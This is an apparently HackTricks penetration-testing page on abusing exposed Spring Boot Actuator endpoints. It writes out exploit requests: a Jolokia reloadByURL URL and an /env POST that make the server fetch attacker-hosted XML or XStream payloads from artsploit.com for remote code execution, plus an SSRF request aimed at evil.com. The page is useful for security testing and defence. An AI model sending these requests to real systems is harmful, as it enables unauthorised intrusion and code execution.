hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

# Spring Actuators

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## **Spring Auth Bypass**

<figure><img src="../../.gitbook/assets/image (927).png" alt=""><figcaption></figcaption></figure>

**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*

## Exploiting Spring Boot Actuators

**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]

### **Key Points:**

* Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security.
* Certain Actuator endpoints can expose sensitive data or allow harmful actions:
  * `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
* In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path.

### **Exploitation Techniques:**

1. **Remote Code Execution via '/jolokia'**:
   * The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
   * The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
   * Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
   * If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties.
   * Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
   *   Example exploit POST request:

       ```
       POST /env HTTP/1.1
       Host: 127.0.0.1:8090
       Content-Type: application/x-www-form-urlencoded
       Content-Length: 65

       eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
       ```
3. **Other Useful Settings**:
   * Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings.

### **Additional Information:**

* A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
* The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.

### **Related Topics:**

1. **Env + H2 RCE**:
   * Details on exploiting the combination of `/env` endpoint and H2 database can be found [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
   * The Spring framework's handling of matrix parameters (`;`) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).
   *   Example exploit request:

       ```http
       GET ;@evil.com/url HTTP/1.1
       Host: target.com
       Connection: close
       ```
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